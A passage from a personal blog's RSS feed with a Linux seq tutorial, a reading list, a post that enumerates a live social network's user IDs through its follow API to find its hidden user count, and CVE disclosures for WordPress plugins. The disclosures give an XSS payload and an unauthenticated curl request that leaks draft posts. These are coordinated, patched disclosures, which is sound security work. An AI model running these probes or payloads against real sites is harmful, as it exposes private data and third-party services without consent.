&lt;p&gt;The &lt;code&gt;-w&lt;/code&gt; option ensures equal width by padding numbers with leading zeros.&lt;/p&gt;
&lt;h4&gt;6. Using &lt;code&gt;seq&lt;/code&gt; in a loop (practical example)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;for i in $(seq 1 3); do
  echo &quot;File_$i.txt&quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;File_1.txt
File_2.txt
File_3.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;seq&lt;/code&gt; command can be used in a loop to create patterns for complex actions.&lt;/p&gt;
&lt;h3&gt;Why Use &lt;code&gt;seq&lt;/code&gt;?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Quick number generation for loops in shell scripts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Creating test data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Formatting sequences with custom separators&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Automating repetitive tasks&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;The Linux &lt;code&gt;seq&lt;/code&gt; command is a handy utility for generating sequences of numbers in different formats. Once you master its options, you can save time in scripting and automation tasks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://manpages.ubuntu.com/manpages/questing/en/man1/seq.1plan9.html&quot;&gt;Ubuntu Manpages&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2025-09-06T00:00:00.000Z</atom:updated><category>linux</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Best Articles of September 2025: Monthly Reading Picks</title><link>https://hurayraiit.com/blog/favorite-articles-of-september-2025/</link><guid isPermaLink="true">https://hurayraiit.com/blog/favorite-articles-of-september-2025/</guid><description>A curated list of the best blog articles Abu Hurayra read in September 2025 — covering QA, software testing, personal growth, and tech insights worth sharing.</description><pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here is a list of blog articles I enjoyed reading this month. I will keep adding more as the month progresses. Feel free to comment your favorite articles if you want to share a link.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.swyx.io/learn-in-public&quot;&gt;Learn In Public&lt;/a&gt; - Swyx&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://critter.blog/2025/08/22/my-favorite-panera-interaction/&quot;&gt;My favorite Panera interaction&lt;/a&gt; - Mike Crittenden&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@indieqa1/relativity-reality-and-the-qa-engineer-who-knew-too-much-8d5471accad9&quot;&gt;Relativity, Reality, and the QA Engineer Who Knew Too Much&lt;/a&gt; - Will Robinson&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@kodithuwakkumadhumini12/from-chaos-to-clarity-my-journey-with-qa-test-documentation-9494173c45b9&quot;&gt;From Chaos to Clarity: My Journey with QA Test Documentation&lt;/a&gt; - &lt;a href=&quot;https://www.linkedin.com/in/madhumini-kodithuwakku-ba95b6344/overlay/about-this-profile/&quot;&gt;Madhumini Kodithuwakku&lt;/a&gt; (&lt;a href=&quot;https://drive.google.com/file/d/18ZnED00dvZ7OopKODnA8hJ1Dnzr1k2ye/view?usp=drivesdk&quot;&gt;archive&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@ukkuru/still-writing-test-plans-no-one-reads-aba17e07291f&quot;&gt;Still writing Test Plans no one Reads?&lt;/a&gt; - &lt;a href=&quot;https://www.linkedin.com/in/ukkuru/&quot;&gt;George Ukkuru&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@igangapandey/the-blame-game-in-software-why-qa-isnt-your-firefighter-86cbe9d4cd88&quot;&gt;The Blame Game in Software: Why QA Isn’t Your Firefighter&lt;/a&gt; - &lt;a href=&quot;https://www.linkedin.com/in/gangapandey/&quot;&gt;Ganga Pandey&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bun.com/blog/behind-the-scenes-of-bun-install&quot;&gt;Behind The Scenes of Bun Install&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2025-09-03T00:00:00.000Z</atom:updated><category>productivity</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Binary Search in Practice: Finding Hikmah&apos;s User Count</title><link>https://hurayraiit.com/blog/using-binary-search-to-find-hikmah-user-count/</link><guid isPermaLink="true">https://hurayraiit.com/blog/using-binary-search-to-find-hikmah-user-count/</guid><description>An interesting real-world application of binary search — using it to uncover the hidden user count of the Hikmah social media platform through smart probing.</description><pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;In this blog article I want to share an interesting use case of binary search. Finding hidden information from a website. The method shown here will work in many other areas - I will leave that to the reader.&lt;/p&gt;
&lt;p&gt;We are going to use the concept of binary search to find out how many users are registered in the new social media, &lt;a href=&quot;https://hikmah.net/&quot;&gt;hikmah&lt;/a&gt;. This information is not available to the general users.&lt;/p&gt;
&lt;h2&gt;What is binary search&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Binary_search&quot;&gt;Binary search&lt;/a&gt;&lt;/strong&gt; is a quick way to find something in a sorted list. Instead of checking items one by one, it looks at the middle item first. If that’s not the right one, it decides whether to keep searching in the top half or the bottom half, cutting the list in half each time. This makes the search much faster.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What is Hikmah&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://Hikmah.net&quot;&gt;Hikmah.net&lt;/a&gt; is a social media platform where you can connect with others in a space built on respect and good values. There’s no corporate censorship, no addictive algorithms, and no indecent content — just healthy, mindful digital habits.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It is built by an amazing company called &lt;a href=&quot;https://kahf.com.tr/&quot;&gt;Kahf&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Process&lt;/h2&gt;
&lt;h3&gt;Step 01&lt;/h3&gt;
&lt;p&gt;We need to create a free hikmah account and open the website using &lt;a href=&quot;https://www.firefox.com&quot;&gt;firefox&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 02&lt;/h3&gt;
&lt;p&gt;Now Right-click &amp;gt; Inspect. Then open the network tab.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 03&lt;/h3&gt;
&lt;p&gt;Follow any user and see the POST request sent by the browser. Right click on the request and click Edit and Resend.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For the technical readers, here is the cURL version of the follow request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &apos;https://hikmah.net/api/follow/user/store&apos; \
  --compressed \
  -X POST \
  -H &apos;Accept: application/json&apos; \
  -H &apos;Cookie: &amp;lt;auth cookies here&amp;gt;&apos; \
  --data-raw &apos;{&quot;id&quot;:172918,&quot;action&quot;:&quot;follow&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...and here is the response body:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;data&quot;:&quot;Ok&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 04&lt;/h3&gt;
&lt;p&gt;Now, notice that the ID of the user we followed is 172918. Let&apos;s try to edit the ID and follow another user with a bigger ID, like 200000.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It seems like there is no user with the ID 200000. But there is an user with the ID 172918. Now we need to try a number between this range.&lt;/p&gt;
&lt;h3&gt;Step 05&lt;/h3&gt;
&lt;p&gt;Let&apos;s send the same request using the ID 185000.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Still does not exist. Let&apos;s try a smaller number than 185000, but larger than 172918. How about 175000?&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It works, Alhamdulillah!&lt;/p&gt;
&lt;h3&gt;Step 06&lt;/h3&gt;
&lt;p&gt;Now we need to keep using the same method to narrow down our range. We need to try 5-10 more times to locate the exact number.&lt;/p&gt;
&lt;p&gt;At the time of writing this article hikmah has a total of 175,960 registered users.&lt;/p&gt;
&lt;h2&gt;Read the recent articles&lt;/h2&gt;
</content:encoded><atom:updated>2025-09-03T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-58196: XSS in WordPress UiCore Elements Plugin</title><link>https://hurayraiit.com/blog/cve-2025-58196-wordpress-uicore-elements-xss-vulnerability/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-58196-wordpress-uicore-elements-xss-vulnerability/</guid><description>CVE-2025-58196: Stored XSS in WordPress UiCore Elements via the Accordion widget, affecting 40,000+ sites — full vulnerability disclosure and patch information.</description><pubDate>Tue, 02 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I have recently reported an Authenticated (Contributor+) Stored Cross-Site Scripting (XSS) vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/uicore-elements/&quot;&gt;WordPress UiCore Elements plugin&lt;/a&gt; in versions up to and including 1.3.3.&lt;/p&gt;
&lt;p&gt;The vulnerability exists in the &lt;strong&gt;Accordion&lt;/strong&gt; widget due to improper handling of HTML tag attributes, allowing malicious scripts to be injected and executed in a user&apos;s browser session. This affects 40,000+ users.&lt;/p&gt;
&lt;p&gt;This has been fixed in the recent versions. It was assigned &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-58196&quot;&gt;CVE-2025-58196&lt;/a&gt; and published in the &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/uicore-elements/vulnerability/wordpress-uicore-elements-plugin-1-3-4-cross-site-scripting-xss-vulnerability&quot;&gt;Patchstack Vulnerability database&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;About The Plugin&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://elements.uicore.co/&quot;&gt;UiCore Elements&lt;/a&gt; is a versatile plugin designed to extend the capabilities of Elementor Page Builder. Elevate your website’s design with an array of widgets, each crafted to bring innovation and interactivity to your pages.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin Name&lt;/th&gt;
&lt;th&gt;UiCore Elements – Free Elementor widgets and templates&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Plugin Slug&lt;/td&gt;
&lt;td&gt;uicore-elements&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;http://WP.org&quot;&gt;WP.org&lt;/a&gt; Profile&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://wordpress.org/plugins/uicore-elements/&quot;&gt;https://wordpress.org/plugins/uicore-elements/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active Installations&lt;/td&gt;
&lt;td&gt;40,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable Version&lt;/td&gt;
&lt;td&gt;1.3.3 (&lt;a href=&quot;https://downloads.wordpress.org/plugin/uicore-elements.1.3.3.zip&quot;&gt;Download Here&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched Version&lt;/td&gt;
&lt;td&gt;1.3.4 (&lt;a href=&quot;https://downloads.wordpress.org/plugin/uicore-elements.1.3.4.zip&quot;&gt;Download Here&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS &amp;amp; Severity&lt;/td&gt;
&lt;td&gt;Low (6.5)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;🔧 Attack Scenario&lt;/h2&gt;
&lt;h3&gt;Step 01:&lt;/h3&gt;
&lt;p&gt;Log in as an administrator. Install and activate the plugin. Also install and activate the Elementor FREE plugin. Make sure that the &lt;strong&gt;Accordion&lt;/strong&gt; widget is enabled.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 02:&lt;/h3&gt;
&lt;p&gt;Log in as a contributor user. Create a post and edit it using Elementor. Drag and drop the &lt;strong&gt;Accordion&lt;/strong&gt; widget.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 03:&lt;/h3&gt;
&lt;p&gt;For the &lt;strong&gt;Title HTML Tag&lt;/strong&gt;, enter the following payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;h4 onmouseover=alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click &lt;strong&gt;Submit For Review&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Step 04:&lt;/h3&gt;
&lt;p&gt;Login as an administrator and preview the post. The payload will execute when you hover over the element.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;❗Vulnerable Code&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Vulnerable Code:&lt;/strong&gt; &lt;code&gt;wp-content/plugins/uicore-elements/includes/widgets/accordion.php&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Line:&lt;/strong&gt; 1340, 1426&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$titleTag = $settings[&apos;title_html_tag&apos;] . &apos; &apos;; // HTML tag

.....

&amp;lt;&amp;lt;?php echo esc_html($titleTag) ?&amp;gt; &amp;lt;?php $this-&amp;gt;print_render_attribute_string($tab_title_setting_key); ?&amp;gt;&amp;gt;
endif;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this code, the value of &lt;code&gt;$settings[&apos;title_html_tag&apos;]&lt;/code&gt; is directly controlled by the user. Since it is not properly validated or sanitized, an attacker can manipulate this input to inject malicious payloads. When rendered, the injected payload is interpreted by the browser, leading to Cross-Site Scripting (XSS).&lt;/p&gt;
&lt;h2&gt;Patch&lt;/h2&gt;
&lt;p&gt;In order to fix the vulnerability (CVE-2025-58196), the developers have added a new helper method named &lt;code&gt;esc_tag&lt;/code&gt; in the file: &lt;code&gt;includes/class-helper.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This method validates the user provided values against a whitelist of tag names.&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3348186/uicore-elements/tags/1.3.4/includes/class-helper.php?old=3331183&amp;amp;old_path=uicore-elements%2Ftags%2F1.3.3%2Fincludes%2Fclass-helper.php&quot;&gt;Link to the changeset&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then this method has been used to validate the title tags used by various components throughout the plugin.&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3348186/uicore-elements/tags/1.3.4/includes/widgets/accordion.php?old=3331183&amp;amp;old_path=uicore-elements%2Ftags%2F1.3.3%2Fincludes%2Fwidgets%2Faccordion.php&quot;&gt;Link to the changeset&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Full Changeset: &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=%2Fuicore-elements%2Ftags%2F1.3.3&amp;amp;old=3354558&amp;amp;new_path=%2Fuicore-elements%2Ftags%2F1.3.4&amp;amp;new=3354558&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Report Submitted To Patchstack&lt;/th&gt;
&lt;th&gt;28 July, 2025&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vendor Contacted&lt;/td&gt;
&lt;td&gt;21 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patch Submitted&lt;/td&gt;
&lt;td&gt;22 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Published&lt;/td&gt;
&lt;td&gt;27 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;An &lt;strong&gt;Authenticated (Contributor+) Stored Cross-Site Scripting (XSS) vulnerability&lt;/strong&gt; was discovered in the &lt;strong&gt;UiCore Elements plugin for WordPress (versions ≤ 1.3.3)&lt;/strong&gt;. The issue was rooted in the Accordion widget, where improper handling of HTML tag attributes allowed contributors to inject malicious JavaScript, which would then execute in the victim’s browser session. This vulnerability, tracked as &lt;strong&gt;CVE-2025-58196&lt;/strong&gt;, has been patched in recent releases and is documented in the &lt;strong&gt;Patchstack Vulnerability Database&lt;/strong&gt;.&lt;/p&gt;
</content:encoded><atom:updated>2025-09-02T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-55715: Sensitive Info Exposure Affecting 300K+ Sites</title><link>https://hurayraiit.com/blog/cve-2025-55715-high-risk-sensitive-information-exposure-affecting-300000-websites/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-55715-high-risk-sensitive-information-exposure-affecting-300000-websites/</guid><description>CVE-2025-55715: Unauthenticated sensitive data exposure in WordPress Otter Blocks plugin affecting 300,000+ websites — full disclosure and remediation guide.</description><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I recently discovered an &lt;strong&gt;unauthenticated&lt;/strong&gt; sensitive information exposure vulnerability in the &lt;strong&gt;WordPress Otter Blocks&lt;/strong&gt; plugin. It has been assigned &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-55715&quot;&gt;&lt;strong&gt;CVE-2025-55715&lt;/strong&gt;&lt;/a&gt; and published in the &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/otter-blocks/vulnerability/wordpress-otter-gutenberg-block-plugin-3-1-0-sensitive-data-exposure-vulnerability&quot;&gt;patchstack database&lt;/a&gt;. Over 300,000 websites were affected by this vulnerability.&lt;/p&gt;
&lt;p&gt;The plugin exposes sensitive content due to a lack of access restrictions on a dynamic content REST endpoint. This should be considered a &lt;strong&gt;high-risk vulnerability&lt;/strong&gt; and updated immediately to avoid data sensitive leakage.&lt;/p&gt;
&lt;h2&gt;About The Plugin&lt;/h2&gt;
&lt;p&gt;Otter is a Gutenberg Blocks page builder plugin that adds extra functionality to the WordPress Block Editor (also known as Gutenberg) for a better page-building experience without the need for traditional page builders like Elementor and Divi.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin Name&lt;/th&gt;
&lt;th&gt;Otter Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor &amp;amp; FSE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Plugin Slug&lt;/td&gt;
&lt;td&gt;otter-blocks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;http://WP.org&quot;&gt;WP.org&lt;/a&gt; Profile&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://wordpress.org/plugins/otter-blocks&quot;&gt;https://wordpress.org/plugins/otter-blocks&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active Installations&lt;/td&gt;
&lt;td&gt;300,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable Version&lt;/td&gt;
&lt;td&gt;3.1.0 (&lt;a href=&quot;https://downloads.wordpress.org/plugin/otter-blocks.3.1.0.zip&quot;&gt;Download Here&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched Version&lt;/td&gt;
&lt;td&gt;3.1.1 (&lt;a href=&quot;https://downloads.wordpress.org/plugin/otter-blocks.3.1.1.zip&quot;&gt;Download Here&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS &amp;amp; Severity&lt;/td&gt;
&lt;td&gt;High (7.5)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;🔧 Attack Scenario&lt;/h2&gt;
&lt;h3&gt;Step 01:&lt;/h3&gt;
&lt;p&gt;Log in as an administrator. Install and activate the plugin.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 02:&lt;/h3&gt;
&lt;p&gt;As an &lt;strong&gt;Administrator&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Create a new &lt;strong&gt;Post&lt;/strong&gt; or &lt;strong&gt;Page&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set its status to &lt;strong&gt;Draft&lt;/strong&gt; or &lt;strong&gt;Private&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Save and note the &lt;strong&gt;Post ID&lt;/strong&gt; (e.g., &lt;code&gt;71&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 03:&lt;/h3&gt;
&lt;p&gt;Send the following cURL request as an &lt;strong&gt;un-authenticated use&lt;/strong&gt;r using the previously saved IDs with the context parameter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &apos;http://example.com/wp-json/otter/v1/dynamic/preview?context=71&amp;amp;type=postExcerpt&apos; \
  --compressed \
  -H &apos;Accept: application/json&apos;

# Output: &quot;This post is draft, by admin, id 71&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;❗Vulnerable Code&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Vulnerable File&lt;/strong&gt;: &lt;code&gt;wp-content/plugins/otter-blocks/inc/server/class-dynamic-content-server.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_rest_route(
    $namespace,
    &apos;/dynamic/preview&apos;,
    array(
        array(
            &apos;methods&apos;             =&amp;gt; \WP_REST_Server::READABLE,
            &apos;callback&apos;            =&amp;gt; function( $request ) {
                return Dynamic_Content::instance()-&amp;gt;apply_data( $request-&amp;gt;get_params() );
            },
            &apos;permission_callback&apos; =&amp;gt; function () {
                return true;
            },
        ),
    )
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;permission_callback&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt; unconditionally meaning no user permission or authentication check is performed.&lt;/p&gt;
&lt;p&gt;This allows &lt;em&gt;anyone&lt;/em&gt;, even unauthenticated users, to send requests to this endpoint and extract private/draft post information.&lt;/p&gt;
&lt;h2&gt;Patch&lt;/h2&gt;
&lt;p&gt;The developers updated the &lt;code&gt;permission_callback&lt;/code&gt; for the REST API endpoints. Now only the public posts and posts editable by the specific user can be fetched using the REST API.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This resolves the security vulnerability and ensures proper access control restrictions.&lt;/p&gt;
&lt;p&gt;Changelog:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Here is the link to the patched file: &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3342854/otter-blocks/tags/3.1.1/inc/server/class-dynamic-content-server.php?old=3194429&amp;amp;old_path=otter-blocks%2Ftrunk%2Finc%2Fserver%2Fclass-dynamic-content-server.php&quot;&gt;https://plugins.trac.wordpress.org/changeset/3342854/otter-blocks/tags/3.1.1/inc/server/class-dynamic-content-server.php?old=3194429&amp;amp;old_path=otter-blocks%2Ftrunk%2Finc%2Fserver%2Fclass-dynamic-content-server.php&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Report Submitted To Patchstack&lt;/th&gt;
&lt;th&gt;03 August, 2025&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vendor Contacted&lt;/td&gt;
&lt;td&gt;06 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patch Submitted&lt;/td&gt;
&lt;td&gt;12 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Published&lt;/td&gt;
&lt;td&gt;27 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Otter Blocks (version &lt;strong&gt;3.1.0&lt;/strong&gt; and below) exposes sensitive data such as private or draft post content to unauthenticated users via the unprotected REST API endpoint &lt;code&gt;/wp-json/otter/v1/dynamic/preview/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This endpoint is improperly guarded and allows unauthenticated attackers to retrieve post titles, excerpts, content and other metadata — even for posts that are not publicly published (i.e., drafts or private posts).&lt;/p&gt;
</content:encoded><atom:updated>2025-09-01T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-54708: Stored XSS in WordPress B-Blocks Plugin</title><link>https://hurayraiit.com/blog/cve-2025-54708-xss-vulnerability-in-wordpress-b-blocks-plugin/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-54708-xss-vulnerability-in-wordpress-b-blocks-plugin/</guid><description>CVE-2025-54708: Stored XSS in the WordPress B-Blocks plugin (up to v2.0.5) — discovery, impact analysis, responsible disclosure, and the security patch summary.</description><pubDate>Thu, 28 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I recently discovered an authenticated (Contributor+) stored Cross-Site Scripting (XSS) vulnerability in the WordPress &lt;strong&gt;B-Blocks&lt;/strong&gt; plugin that has now been assigned &lt;strong&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/b-blocks/vulnerability/wordpress-b-blocks-plugin-plugin-2-0-5-cross-site-scripting-xss-vulnerability&quot;&gt;CVE-2025-54708&lt;/a&gt;&lt;/strong&gt;. This security flaw affected all versions up to and including &lt;strong&gt;2.0.5&lt;/strong&gt; of the &quot;B Blocks – The ultimate block collection&quot; plugin.&lt;/p&gt;
&lt;p&gt;I responsibly disclosed this vulnerability through the &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack bug bounty&lt;/a&gt; program. The plugin developers responded promptly and released a security patch.&lt;/p&gt;
&lt;h2&gt;About The &quot;B Blocks&quot; Plugin&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bblockswp.com/&quot;&gt;&lt;strong&gt;B Blocks&lt;/strong&gt;&lt;/a&gt; is a lightweight and flexible Gutenberg plugin that transforms the native block editor into a powerful page builder for WordPress. Designed with performance and usability in mind, B Blocks extends the capabilities of core blocks by adding 30+ custom elements, pre-built Gutenberg templates, and flexible layout options—all without the need for bulky third-party tools.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin Name&lt;/th&gt;
&lt;th&gt;B Blocks – Essential Gutenberg Blocks &amp;amp; Patterns Collection&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Plugin Slug&lt;/td&gt;
&lt;td&gt;b-blocks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;http://WP.org&quot;&gt;WP.org&lt;/a&gt; Profile&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://wordpress.org/plugins/b-blocks/&quot;&gt;https://wordpress.org/plugins/b-blocks/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active Installations&lt;/td&gt;
&lt;td&gt;800+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable Version&lt;/td&gt;
